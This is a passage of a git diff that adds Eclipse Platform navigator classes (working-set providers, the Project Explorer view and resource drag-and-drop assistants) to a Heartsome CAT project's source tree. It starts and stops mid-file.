IWorkbenchAdapter2 adapter = getAdapter2(element); + if (adapter == null) { + return null; + } + RGB descriptor = forground ? adapter.getForeground(element) : adapter.getBackground(element); + if (descriptor == null) { + return null; + } + + return (Color) getResourceManager().get(ColorDescriptor.createFrom(descriptor)); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/workingsets/WorkingSetSorter.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/workingsets/WorkingSetSorter.java new file mode 100644 index 0000000..8f0417e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/workingsets/WorkingSetSorter.java @@ -0,0 +1,37 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + ******************************************************************************/ + +package org.eclipse.ui.internal.navigator.workingsets; + +import org.eclipse.jface.viewers.ILabelProvider; +import org.eclipse.jface.viewers.StructuredViewer; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerSorter; + +/** + * @since 3.2 + * + */ +public class WorkingSetSorter extends ViewerSorter { + + public int compare(Viewer viewer, Object e1, Object e2) { + if(viewer instanceof StructuredViewer) { + ILabelProvider labelProvider = (ILabelProvider) ((StructuredViewer)viewer).getLabelProvider(); + String text1 = labelProvider.getText(e1); + String text2 = labelProvider.getText(e2); + if(text1 != null) { + return text1.compareTo(text2); + } + } + return -1; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/workingsets/WorkingSetsContentProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/workingsets/WorkingSetsContentProvider.java new file mode 100644 index 0000000..eacb7de --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/workingsets/WorkingSetsContentProvider.java @@ -0,0 +1,220 @@ +/******************************************************************************* + * Copyright (c) 2005, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.workingsets; + +import java.util.Map; +import java.util.WeakHashMap; + +import org.eclipse.core.runtime.IAdaptable; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; + +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.viewers.Viewer; + +import org.eclipse.ui.IAggregateWorkingSet; +import org.eclipse.ui.IMemento; +import org.eclipse.ui.IWorkingSet; +import org.eclipse.ui.internal.navigator.NavigatorContentService; +import org.eclipse.ui.navigator.CommonNavigator; +import org.eclipse.ui.navigator.CommonViewer; +import org.eclipse.ui.navigator.ICommonContentExtensionSite; +import org.eclipse.ui.navigator.ICommonContentProvider; +import org.eclipse.ui.navigator.IExtensionStateModel; +import org.eclipse.ui.navigator.resources.ProjectExplorer; + +/** + * Provides children and parents for IWorkingSets. + * + * @since 3.2.1 + * + */ +public class WorkingSetsContentProvider implements ICommonContentProvider { + + /** + * The extension id for the WorkingSet extension. + */ + public static final String EXTENSION_ID = "org.eclipse.ui.navigator.resources.workingSets"; //$NON-NLS-1$ + + /** + * A key used by the Extension State Model to keep track of whether top level Working Sets or + * Projects should be shown in the viewer. + */ + public static final String SHOW_TOP_LEVEL_WORKING_SETS = EXTENSION_ID + ".showTopLevelWorkingSets"; //$NON-NLS-1$ + + + private static final Object[] NO_CHILDREN = new Object[0]; + + private WorkingSetHelper helper; + private IAggregateWorkingSet workingSetRoot; + private IExtensionStateModel extensionStateModel; + private CommonNavigator projectExplorer; + private CommonViewer viewer; + + private IPropertyChangeListener rootModeListener = new IPropertyChangeListener() { + + /* (non-Javadoc) + * @see org.eclipse.jface.util.IPropertyChangeListener#propertyChange(org.eclipse.jface.util.PropertyChangeEvent) + */ + public void propertyChange(PropertyChangeEvent event) { + if(SHOW_TOP_LEVEL_WORKING_SETS.equals(event.getProperty())) { + updateRootMode(); + } + } + + }; + + + /* (non-Javadoc) + * @see org.eclipse.ui.navigator.ICommonContentProvider#init(org.eclipse.ui.navigator.ICommonContentExtensionSite) + */ + public void init(ICommonContentExtensionSite aConfig) { + NavigatorContentService cs = (NavigatorContentService) aConfig.getService(); + viewer = (CommonViewer) cs.getViewer(); + projectExplorer = viewer.getCommonNavigator(); + + extensionStateModel = aConfig.getExtensionStateModel(); + extensionStateModel.addPropertyChangeListener(rootModeListener); + updateRootMode(); + + } + + /* (non-Javadoc) + * @see org.eclipse.ui.navigator.IMementoAware#restoreState(org.eclipse.ui.IMemento) + */ + public void restoreState(IMemento aMemento) { + + } + + /* (non-Javadoc) + * @see org.eclipse.ui.navigator.IMementoAware#saveState(org.eclipse.ui.IMemento) + */ + public void saveState(IMemento aMemento) { + + } + + public Object[] getChildren(Object parentElement) { + if (parentElement instanceof IWorkingSet) { + IWorkingSet workingSet = (IWorkingSet) parentElement; + if (workingSet.isAggregateWorkingSet() && projectExplorer != null) { + switch (projectExplorer.getRootMode()) { + case ProjectExplorer.WORKING_SETS : + return ((IAggregateWorkingSet) workingSet).getComponents(); + case ProjectExplorer.PROJECTS : + return getWorkingSetElements(workingSet); + } + } + return getWorkingSetElements(workingSet); + } + return NO_CHILDREN; + } + + private IAdaptable[] getWorkingSetElements(IWorkingSet workingSet) { + IAdaptable[] children = workingSet.getElements(); + for (int i = 0; i < children.length; i++) { + Object resource = children[i].getAdapter(IResource.class); + if (resource instanceof IProject) + children[i] = (IProject) resource; + } + return children; + } + + public Object getParent(Object element) { + if (helper != null) + return helper.getParent(element); + return null; + } + + public boolean hasChildren(Object element) { + return true; + } + + public Object[] getElements(Object inputElement) { + return getChildren(inputElement); + } + + public void dispose() { + helper = null; + extensionStateModel.removePropertyChangeListener(rootModeListener); + } + + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + if (newInput instanceof IWorkingSet) { + IWorkingSet rootSet = (IWorkingSet) newInput; + helper = new WorkingSetHelper(rootSet); + } + } + + private void updateRootMode() { + if (projectExplorer == null) { + return; + } + if( extensionStateModel.getBooleanProperty(SHOW_TOP_LEVEL_WORKING_SETS) ) + projectExplorer.setRootMode(ProjectExplorer.WORKING_SETS); + else + projectExplorer.setRootMode(ProjectExplorer.PROJECTS); + } + + protected class WorkingSetHelper { + + private final IWorkingSet workingSet; + private final Map parents = new WeakHashMap(); + + /** + * Create a Helper class for the given working set + * + * @param set + * The set to use to build the item to parent map. + */ + public WorkingSetHelper(IWorkingSet set) { + workingSet = set; + + if (workingSet.isAggregateWorkingSet()) { + IAggregateWorkingSet aggregateSet = (IAggregateWorkingSet) workingSet; + if (workingSetRoot == null) + workingSetRoot = aggregateSet; + + IWorkingSet[] components = aggregateSet.getComponents(); + + for (int componentIndex = 0; componentIndex < components.length; componentIndex++) { + IAdaptable[] elements = getWorkingSetElements(components[componentIndex]); + for (int elementsIndex = 0; elementsIndex < elements.length; elementsIndex++) { + parents.put(elements[elementsIndex], components[componentIndex]); + } + parents.put(components[componentIndex], aggregateSet); + + } + } else { + IAdaptable[] elements = getWorkingSetElements(workingSet); + for (int elementsIndex = 0; elementsIndex < elements.length; elementsIndex++) { + parents.put(elements[elementsIndex], workingSet); + } + } + } + + /** + * + * @param element + * An element from the viewer + * @return The parent associated with the element, if any. + */ + public Object getParent(Object element) { + if (element instanceof IWorkingSet && element != workingSetRoot) + return workingSetRoot; + return parents.get(element); + } + } + + + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/workingsets/WorkingSetsLabelProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/workingsets/WorkingSetsLabelProvider.java new file mode 100644 index 0000000..6da3a8b --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/workingsets/WorkingSetsLabelProvider.java @@ -0,0 +1,53 @@ +/******************************************************************************* + * Copyright (c) 2005, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.workingsets; + +import org.eclipse.jface.viewers.ILabelProvider; +import org.eclipse.jface.viewers.ILabelProviderListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.ui.IWorkingSet; +import org.eclipse.ui.model.WorkbenchLabelProvider; + +/** + * Provides a text label and icon for Working Sets. + * + */ +public class WorkingSetsLabelProvider implements ILabelProvider { + + private WorkbenchLabelProvider labelProvider = new WorkbenchLabelProvider(); + + public Image getImage(Object element) { + if (element instanceof IWorkingSet) + return labelProvider.getImage(element); + return null; + } + + public String getText(Object element) { + if (element instanceof IWorkingSet) + return ((IWorkingSet) element).getLabel(); + return null; + } + + public void addListener(ILabelProviderListener listener) { + } + + public void dispose() { + } + + public boolean isLabelProperty(Object element, String property) { + return false; + } + + public void removeListener(ILabelProviderListener listener) { + + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/GoIntoActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/GoIntoActionProvider.java new file mode 100644 index 0000000..63cb38e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/GoIntoActionProvider.java @@ -0,0 +1,56 @@ +/******************************************************************************* + * Copyright (c) 2006, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * Oakland Software (Francis Upton - francisu@ieee.org) + * bug 214271 Undo/redo not enabled if nothing selected + ******************************************************************************/ + +package org.eclipse.ui.navigator.resources; + +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.IWorkbenchActionConstants; +import org.eclipse.ui.internal.navigator.framelist.GoIntoAction; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.CommonViewer; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; + +/** + * Provides the Go Into action for the {@link ProjectExplorer} + * + * @since 3.4 + * + */ +public class GoIntoActionProvider extends CommonActionProvider { + + private GoIntoAction goIntoAction; + + public void init(ICommonActionExtensionSite anActionSite) { + anActionSite.getViewSite().getShell(); + CommonViewer viewer = (CommonViewer) anActionSite.getStructuredViewer(); + goIntoAction = new GoIntoAction(viewer.getFrameList()); + } + + public void dispose() { + goIntoAction.dispose(); + } + + public void fillActionBars(IActionBars actionBars) { + actionBars.setGlobalActionHandler(IWorkbenchActionConstants.GO_INTO, goIntoAction); + } + + public void fillContextMenu(IMenuManager menu) { + menu.appendToGroup("group.new", goIntoAction); //$NON-NLS-1$ + } + + public void updateActionBars() { + goIntoAction.update(); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/ProjectExplorer.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/ProjectExplorer.java new file mode 100644 index 0000000..9c1f3cf --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/ProjectExplorer.java @@ -0,0 +1,218 @@ +/******************************************************************************* + * Copyright (c) 2007, 2010 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + ******************************************************************************/ + +package org.eclipse.ui.navigator.resources; + +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IPath; +import org.eclipse.osgi.util.NLS; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.ui.IAggregateWorkingSet; +import org.eclipse.ui.IPageLayout; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.IWorkingSet; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.navigator.framelist.Frame; +import org.eclipse.ui.internal.navigator.framelist.FrameList; +import org.eclipse.ui.internal.navigator.framelist.TreeFrame; +import org.eclipse.ui.internal.navigator.resources.ResourceToItemsMapper; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.model.IWorkbenchAdapter; +import org.eclipse.ui.navigator.CommonNavigator; +import org.eclipse.ui.navigator.INavigatorContentService; + +/** + * + * @see CommonNavigator + * @see INavigatorContentService + * @since 3.2 + * + */ +public final class ProjectExplorer extends CommonNavigator { + + /** + * Provides a constant for the standard instance of the Common Navigator. + * + * @see PlatformUI#getWorkbench() + * @see IWorkbench#getActiveWorkbenchWindow() + * @see IWorkbenchWindow#getActivePage() + * + * @see IWorkbenchPage#findView(String) + * @see IWorkbenchPage#findViewReference(String) + */ + public static final String VIEW_ID = IPageLayout.ID_PROJECT_EXPLORER; + + /** + * @since 3.4 + */ + public static final int WORKING_SETS = 0; + + /** + * @since 3.4 + */ + public static final int PROJECTS = 1; + + private int rootMode; + + /** + * Used only in the case of top level = PROJECTS and only when some + * working sets are selected. + */ + private String workingSetLabel; + + public void createPartControl(Composite aParent) { + super.createPartControl(aParent); + + if (!false) + getCommonViewer().setMapper(new ResourceToItemsMapper(getCommonViewer())); + } + + /** + * The superclass does not deal with the content description, handle it + * here. + * + * @noreference + */ + public void updateTitle() { + super.updateTitle(); + Object input = getCommonViewer().getInput(); + + if (input == null || input instanceof IAggregateWorkingSet) { + setContentDescription(""); //$NON-NLS-1$ + return; + } + + if (!(input instanceof IResource)) { + if (input instanceof IAdaptable) { + IWorkbenchAdapter wbadapter = (IWorkbenchAdapter) ((IAdaptable) input) + .getAdapter(IWorkbenchAdapter.class); + if (wbadapter != null) { + setContentDescription(wbadapter.getLabel(input)); + return; + } + } + setContentDescription(input.toString()); + return; + } + + IResource res = (IResource) input; + setContentDescription(res.getName()); + } + + /** + * Returns the tool tip text for the given element. + * + * @param element + * the element + * @return the tooltip + * @noreference + */ + public String getFrameToolTipText(Object element) { + String result; + if (!(element instanceof IResource)) { + if (element instanceof IAggregateWorkingSet) { + result = WorkbenchNavigatorMessages.resources_ProjectExplorerPart_workingSetModel; + } else if (element instanceof IWorkingSet) { + result = ((IWorkingSet) element).getLabel(); + } else { + result = super.getFrameToolTipText(element); + } + } else { + IPath path = ((IResource) element).getFullPath(); + if (path.isRoot()) { + result = WorkbenchNavigatorMessages.resources_ProjectExplorerPart_workspace; + } else { + result = path.makeRelative().toString(); + } + } + + if (rootMode == PROJECTS) { + if (workingSetLabel == null) + return result; + if (result.length() == 0) + return NLS.bind(WorkbenchNavigatorMessages.resources_ProjectExplorer_toolTip, + new String[] { workingSetLabel }); + return NLS.bind(WorkbenchNavigatorMessages.resources_ProjectExplorer_toolTip2, new String[] { + result, workingSetLabel }); + } + + // Working set mode. During initialization element and viewer can + // be null. + if (element != null && !(element instanceof IWorkingSet) + && getCommonViewer() != null) { + FrameList frameList = getCommonViewer().getFrameList(); + // Happens during initialization + if (frameList == null) + return result; + int index = frameList.getCurrentIndex(); + IWorkingSet ws = null; + while (index >= 0) { + Frame frame = frameList.getFrame(index); + if (frame instanceof TreeFrame) { + Object input = ((TreeFrame) frame).getInput(); + if (input instanceof IWorkingSet && !(input instanceof IAggregateWorkingSet)) { + ws = (IWorkingSet) input; + break; + } + } + index--; + } + if (ws != null) { + return NLS.bind(WorkbenchNavigatorMessages.resources_ProjectExplorer_toolTip3, + new String[] { ws.getLabel(), result }); + } + return result; + } + return result; + + } + + /** + * @param mode + * @noreference This method is not intended to be referenced by clients. + * @since 3.4 + */ + public void setRootMode(int mode) { + rootMode = mode; + } + + /** + * @return the root mode + * @noreference This method is not intended to be referenced by clients. + * @since 3.4 + */ + public int getRootMode() { + return rootMode; + } + + /** + * @param label + * @noreference This method is not intended to be referenced by clients. + * @since 3.4 + */ + public void setWorkingSetLabel(String label) { + workingSetLabel = label; + } + + /** + * @return the working set label + * @noreference This method is not intended to be referenced by clients. + * @since 3.4 + */ + public String getWorkingSetLabel() { + return workingSetLabel; + } + + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/ResourceDragAdapterAssistant.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/ResourceDragAdapterAssistant.java new file mode 100644 index 0000000..363946f --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/ResourceDragAdapterAssistant.java @@ -0,0 +1,144 @@ +/******************************************************************************* + * Copyright (c) 2006, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * Anton Leherbauer (Wind River Systems) - http://bugs.eclipse.org/247294 + ******************************************************************************/ + +package org.eclipse.ui.navigator.resources; + +import java.util.Iterator; +import java.util.LinkedHashSet; +import java.util.Set; + +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.swt.dnd.DragSourceEvent; +import org.eclipse.swt.dnd.FileTransfer; +import org.eclipse.swt.dnd.Transfer; +import org.eclipse.ui.internal.navigator.Policy; +import org.eclipse.ui.navigator.CommonDragAdapterAssistant; +import org.eclipse.ui.navigator.INavigatorDnDService; +import org.eclipse.ui.part.ResourceTransfer; + +/** + * Clients may reference this class in the dragAssistant element of a + * org.eclipse.ui.navigator.viewer extension point. + * + *

    + * Clients may not extend or instantiate this class for any purpose other than + * {@link INavigatorDnDService#bindDragAssistant(CommonDragAdapterAssistant)}. + * Clients may have no direct dependencies on the contract of this class. + *

    + * + * @since 3.2 + * @noextend This class is not intended to be subclassed by clients. + * + */ +public class ResourceDragAdapterAssistant extends + CommonDragAdapterAssistant { + + private static final Transfer[] SUPPORTED_TRANSFERS = new Transfer[] { + ResourceTransfer.getInstance(), + FileTransfer.getInstance() }; + + private static final Class IRESOURCE_TYPE = IResource.class; + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonDragAdapterAssistant#getSupportedTransferTypes() + */ + public Transfer[] getSupportedTransferTypes() { + return SUPPORTED_TRANSFERS; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonDragAdapterAssistant#setDragData(org.eclipse.swt.dnd.DragSourceEvent, + * org.eclipse.jface.viewers.IStructuredSelection) + */ + public boolean setDragData(DragSourceEvent anEvent, + IStructuredSelection aSelection) { + + IResource[] resources = getSelectedResources(aSelection); + if (resources.length > 0) { + if (ResourceTransfer.getInstance().isSupportedType(anEvent.dataType)) { + anEvent.data = resources; + if (Policy.DEBUG_DND) { + System.out + .println("ResourceDragAdapterAssistant.dragSetData set ResourceTransfer"); //$NON-NLS-1$ + } + return true; + } + + if (FileTransfer.getInstance().isSupportedType(anEvent.dataType)) { + // Get the path of each file and set as the drag data + final int length = resources.length; + int actualLength = 0; + String[] fileNames = new String[length]; + for (int i = 0; i < length; i++) { + IPath location = resources[i].getLocation(); + // location may be null. See bug 29491. + if (location != null) { + fileNames[actualLength++] = location.toOSString(); + } + } + if (actualLength > 0) { + // was one or more of the locations null? + if (actualLength < length) { + String[] tempFileNames = fileNames; + fileNames = new String[actualLength]; + for (int i = 0; i < actualLength; i++) + fileNames[i] = tempFileNames[i]; + } + anEvent.data = fileNames; + + if (Policy.DEBUG_DND) + System.out + .println("ResourceDragAdapterAssistant.dragSetData set FileTransfer"); //$NON-NLS-1$ + return true; + } + } + } + return false; + + } + + private IResource[] getSelectedResources(IStructuredSelection aSelection) { + Set resources = new LinkedHashSet(); + IResource resource = null; + for (Iterator iter = aSelection.iterator(); iter.hasNext();) { + Object selected = iter.next(); + resource = adaptToResource(selected); + if (resource != null) { + resources.add(resource); + } + } + return (IResource[]) resources.toArray(new IResource[resources.size()]); + } + + private IResource adaptToResource(Object selected) { + IResource resource; + if (selected instanceof IResource) { + resource = (IResource) selected; + } else if (selected instanceof IAdaptable) { + resource = (IResource) ((IAdaptable) selected) + .getAdapter(IRESOURCE_TYPE); + } else { + resource = (IResource) Platform.getAdapterManager().getAdapter( + selected, IRESOURCE_TYPE); + } + return resource; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/ResourceDropAdapterAssistant.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/ResourceDropAdapterAssistant.java new file mode 100644 index 0000000..c43217d --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/navigator/resources/ResourceDropAdapterAssistant.java @@ -0,0 +1,718 @@ +/******************************************************************************* + * Copyright (c) 2006, 2011 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.navigator.resources; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.Iterator; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspace; +import org.eclipse.core.resources.IWorkspaceRunnable; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.MultiStatus; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.dialogs.ErrorDialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.util.LocalSelectionTransfer; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.ltk.core.refactoring.CheckConditionsOperation; +import org.eclipse.ltk.core.refactoring.PerformRefactoringOperation; +import org.eclipse.ltk.core.refactoring.Refactoring; +import org.eclipse.ltk.core.refactoring.RefactoringContribution; +import org.eclipse.ltk.core.refactoring.RefactoringCore; +import org.eclipse.ltk.core.refactoring.RefactoringStatus; +import org.eclipse.ltk.core.refactoring.RefactoringStatusEntry; +import org.eclipse.ltk.core.refactoring.resource.MoveResourcesDescriptor; +import org.eclipse.swt.dnd.DND; +import org.eclipse.swt.dnd.DropTargetEvent; +import org.eclipse.swt.dnd.FileTransfer; +import org.eclipse.swt.dnd.TransferData; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.CopyFilesAndFoldersOperation; +import org.eclipse.ui.actions.MoveFilesAndFoldersOperation; +import org.eclipse.ui.actions.ReadOnlyStateChecker; +import org.eclipse.ui.internal.navigator.Policy; +import org.eclipse.ui.internal.navigator.resources.plugin.WorkbenchNavigatorPlugin; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.navigator.CommonDropAdapter; +import org.eclipse.ui.navigator.CommonDropAdapterAssistant; +import org.eclipse.ui.part.ResourceTransfer; + + +/** + * + * Clients may reference this class in the dropAssistant element of a + * org.eclipse.ui.navigator.navigatorContent extension point. + * + *

    + * Clients may not extend or instantiate this class for any purpose. + * Clients may have no direct dependencies on the contract of this class. + *

    + * + * @since 3.2 + * + */ +public class ResourceDropAdapterAssistant extends CommonDropAdapterAssistant { + + private static final IResource[] NO_RESOURCES = new IResource[0]; + + private RefactoringStatus refactoringStatus; + private IStatus returnStatus; + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonDropAdapterAssistant#isSupportedType(org.eclipse.swt.dnd.TransferData) + */ + public boolean isSupportedType(TransferData aTransferType) { + return super.isSupportedType(aTransferType) + || FileTransfer.getInstance().isSupportedType(aTransferType); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonDropAdapterAssistant#validateDrop(java.lang.Object, + * int, org.eclipse.swt.dnd.TransferData) + */ + public IStatus validateDrop(Object target, int aDropOperation, + TransferData transferType) { + + if (!(target instanceof IResource)) { + return WorkbenchNavigatorPlugin + .createStatus( + IStatus.INFO, + 0, + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_targetMustBeResource, + null); + } + IResource resource = (IResource) target; + if (!resource.isAccessible()) { + return WorkbenchNavigatorPlugin + .createErrorStatus( + 0, + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_canNotDropIntoClosedProject, + null); + } + IContainer destination = getActualTarget(resource); + if (destination.getType() == IResource.ROOT) { + return WorkbenchNavigatorPlugin + .createErrorStatus( + 0, + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_resourcesCanNotBeSiblings, + null); + } + String message = null; + // drag within Eclipse? + if (LocalSelectionTransfer.getTransfer().isSupportedType(transferType)) { + IResource[] selectedResources = getSelectedResources(); + + boolean bProjectDrop = false; + for (int iRes = 0; iRes < selectedResources.length; iRes++) { + IResource res = selectedResources[iRes]; + if(res instanceof IProject) { + bProjectDrop = true; + } + } + if(bProjectDrop) { + // drop of projects not supported on other IResources + // "Path for project must have only one segment." + message = WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_canNotDropProjectIntoProject; + } else { + if (selectedResources.length == 0) { + message = WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_dropOperationErrorOther; + } else { + CopyFilesAndFoldersOperation operation; + if (aDropOperation == DND.DROP_COPY) { + if (Policy.DEBUG_DND) { + System.out + .println("ResourceDropAdapterAssistant.validateDrop validating COPY."); //$NON-NLS-1$ + } + + operation = new CopyFilesAndFoldersOperation(getShell()); + } else { + if (Policy.DEBUG_DND) { + System.out + .println("ResourceDropAdapterAssistant.validateDrop validating MOVE."); //$NON-NLS-1$ + } + operation = new MoveFilesAndFoldersOperation(getShell()); + } + if (operation.validateDestination(destination, selectedResources) != null) { + operation.setVirtualFolders(true); + message = operation.validateDestination(destination, selectedResources); + } + } + } + } // file import? + else if (FileTransfer.getInstance().isSupportedType(transferType)) { + String[] sourceNames = (String[]) FileTransfer.getInstance() + .nativeToJava(transferType); + if (sourceNames == null) { + // source names will be null on Linux. Use empty names to do + // destination validation. + // Fixes bug 29778 + sourceNames = new String[0]; + } + CopyFilesAndFoldersOperation copyOperation = new CopyFilesAndFoldersOperation( + getShell()); + message = copyOperation.validateImportDestination(destination, + sourceNames); + } + if (message != null) { + return WorkbenchNavigatorPlugin.createErrorStatus(0, message, null); + } + return Status.OK_STATUS; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonDropAdapterAssistant#handleDrop(CommonDropAdapter, + * DropTargetEvent, Object) + */ + public IStatus handleDrop(CommonDropAdapter aDropAdapter, + DropTargetEvent aDropTargetEvent, Object aTarget) { + + if (Policy.DEBUG_DND) { + System.out + .println("ResourceDropAdapterAssistant.handleDrop (begin)"); //$NON-NLS-1$ + } + + // alwaysOverwrite = false; + if (aTarget == null || aDropTargetEvent.data == null) { + return Status.CANCEL_STATUS; + } + IStatus status = null; + IResource[] resources = null; + TransferData currentTransfer = aDropAdapter.getCurrentTransfer(); + if (LocalSelectionTransfer.getTransfer().isSupportedType( + currentTransfer)) { + resources = getSelectedResources(); + } else if (ResourceTransfer.getInstance().isSupportedType( + currentTransfer)) { + resources = (IResource[]) aDropTargetEvent.data; + } + + if (FileTransfer.getInstance().isSupportedType(currentTransfer)) { + status = performFileDrop(aDropAdapter, aDropTargetEvent.data); + } else if (resources != null && resources.length > 0) { + if ((aDropAdapter.getCurrentOperation() == DND.DROP_COPY) + || (aDropAdapter.getCurrentOperation() == DND.DROP_LINK)) { + if (Policy.DEBUG_DND) { + System.out + .println("ResourceDropAdapterAssistant.handleDrop executing COPY."); //$NON-NLS-1$ + } + status = performResourceCopy(aDropAdapter, getShell(), + resources); + } else { + if (Policy.DEBUG_DND) { + System.out + .println("ResourceDropAdapterAssistant.handleDrop executing MOVE."); //$NON-NLS-1$ + } + + status = performResourceMove(aDropAdapter, resources); + } + } + openError(status); + IContainer target = getActualTarget((IResource) aTarget); + if (target != null && target.isAccessible()) { + try { + target.refreshLocal(IResource.DEPTH_ONE, null); + } catch (CoreException e) { + } + } + return status; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonDropAdapterAssistant#validatePluginTransferDrop(org.eclipse.jface.viewers.IStructuredSelection, + * java.lang.Object) + */ + public IStatus validatePluginTransferDrop( + IStructuredSelection aDragSelection, Object aDropTarget) { + if (!(aDropTarget instanceof 